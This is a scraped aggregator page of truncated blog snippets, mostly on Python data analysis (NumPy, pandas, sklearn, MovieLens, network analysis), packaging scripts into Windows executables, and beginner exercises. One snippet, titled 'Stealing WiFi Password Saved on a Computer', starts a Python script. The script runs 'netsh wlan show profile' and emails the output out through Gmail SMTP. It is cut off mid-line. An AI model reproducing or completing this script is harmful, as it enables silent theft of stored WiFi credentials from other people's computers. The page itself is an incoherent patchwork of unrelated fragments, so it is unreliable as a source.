原文：https://www.cnblogs.com/shadow1/p/10887081.html
Adding Icons to Generated ExecutablesPrepare a proper icon file.https://www.iconfinder.com/ Convert the downloaded png file to an icon file.https://www.easyicon.net/language.en/covert/ Convert the Python program to Windows executable - adding the "--icon" arguments this time.wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe --add-data "/root/Downloads/sample...
If you are already familiar with the module/package loading methods of Python, the following table is relatively easy to find.Python is referenced in the following table as a module. Some modules are not native modules. Please use pip install * to install;Mechine LearningCategorySubcategoryPythonLDA sklearn.discriminant_analysis.LinearDiscriminantAnalysisQDA sklearn.discriminant_analysis.Quadratic...
NumPy作为python科学计算的基础，为何python适合进行数学计算，除了简单易懂，容易学习Python可以简单的调用大量的用c和fortran编写的legacy的库 The NumPy ndarray: A Multidimensional Array Objectndarray，可以理解为n维数组，用于抽象矩阵和向量Creating ndarrays最简单的就是，从list初始化，当然还有其他的方式，比如，汇总， Data Types for ndarrays首先对于ndarray只能存放同一类型数据，并且由于封装了c和fortran的库，...
在引言章节里，介绍了MovieLens 1M数据集的处理示例。书中介绍该数据集来自GroupLens Research（）,该地址会直接跳转到，这里面提供了来自MovieLens网站的各种评估数据集，可以下载相应的压缩包，我们需要的MovieLens 1M数据集也在里面。下载解压后的文件夹如下：这三个dat表都会在示例中用到。我所阅读的《Python For Data Analysis》中文版（PDF）是2014年第一版的，里面所有示例都是基于Python 2.7和pandas 0.8.2所写的，而我安...
有哪些教材可以推荐？又应该从哪一种分析软件入手？回复内容： 首先社会网络分析有两种路线，一种偏文科的，偏社会学，就是讲究在一定量化基础上定性分析，解释一些社会现象，另外一种是偏理科的，往往需要大量数据点，然后从数学上对拓扑结构进行定量分析和判断，或者会利用到网络上的社交网络（Online Social Networks）进行大规模的计算。如果是软件党，一般就是第一种了，把网络扔进软件算算指标什么的。软件推荐Gephi，这个可...
histogram >>> a = numpy.arange(5)>>> hist, bin_edges = numpy.histogram(a,density=False)>>> hist, bin_edges(array([1, 0, 1, 0, 0, 1, 0, 1, 0, 1], dtype=int64), array([ 0. , 0.4, 0.8, 1.2, 1.6, 2. , 2.4, 2.8, 3.2, 3.6, 4. ])) Analysis:Variable a is [0 1 2 3 4]After call histogram, it will calculate the total count each number in a= [0 1 2 3 4] according to each bins(阈值), for example:bi...
总共是下面几个文件： 注意，最后一个是json文件，里面是电影影评数据集MR的划分出来的训练集生成的词典。是个字典文件，也可以自己再弄一个。在训练集上训练了10个epoch，结果大概是上图这个样子 1、创建model_para.py文件，里面是模型的超参数。 import argparseclass Hpara():parser = argparse.ArgumentParser() ############# insert paras #############parser.add_argument('--batch_size',default = 16, type = int)...
Adding Icons to Generated Executables Prepare a proper icon file. https://www.iconfinder.com/ Convert the downloaded png file to an icon file. https://www.easyicon.net/language.en/covert/ Convert the Python program to Windows executable - adding the "--icon" arguments this time.wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe --add-data "/root/Downloa...
Stealing WiFi Password Saved on a Computer#!/usr/bin/env pythonimport smtplib import subprocess import redef send_mail(email, password, message):server = smtplib.SMTP("smtp.gmail.com", 587)server.starttls()server.login(email, password)server.sendmail(email, email, message)server.quit()command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) network_names_list = r...
创建数组 import numpy as np# np.array 将一个iterable object转换为 ndarray data2 = [[2, 3, 4], [5, 6, 7]] arr2 = np.array(data2, dtype = np.float64) #[[2. 3. 4.] # [5. 6. 7.]]arr3 = np.array(data2, dtype = np.int32) #[[2 3 4] # [5 6 7]]# astype 方式将一种数据类型的array转换为另一个类型的array float32_arr = arr2.astype(np.float32)numeric_strings = np.array(['1.23', '-9.6', '43.4'], dtype=np.string_)...
我需要进行探索性因子分析,并使用Python计算每个观察的分数,假设只有1个潜在因素.似乎sklearn.decomposition.FactorAnalysis()是要走的路,但遗憾的是documentation和example(遗憾的是我无法找到其他例子)对我来说还不够清楚如何完成工作. 我有以下测试文件,包含29个29变量的观察结果(test.csv)：49.6,34917,24325.4,305,101350,98678,254.8,276.9,47.5,1,3,5.6,3.59,11.9,0,97.5,97.6,8,10,100,0,0,96.93,610.1,100,1718.22,6.7,28...
模型数据越多，Average系数就越小。 perferential attachment model 有比较小的平均路径长度，但有着小的cc。rewire:重新连接 如果仅看这个共同的邻居数的话，数量一样的话，评判不出来。
import numpy as np import matplotlib.pyplot as pltfrom matplotlib import cm from mpl_toolkits.mplot3d import Axes3D from sklearn.model_selection import train_test_split from sklearn import datasets, linear_model,discriminant_analysisdef load_data():# 使用 scikit-learn 自带的 iris 数据集iris=datasets.load_iris()X_train=iris.datay_train=iris.targetreturn train_test_split(X_train, y_train,test_size=0...
1.(p14)比较两个数的大小a = int(input(num:)) b = int(input(num:)) def getMax(a,b):if a>b :print(The bigger number is a:)else:print(The bigger number is b:) getMax(a,b)Compare 2.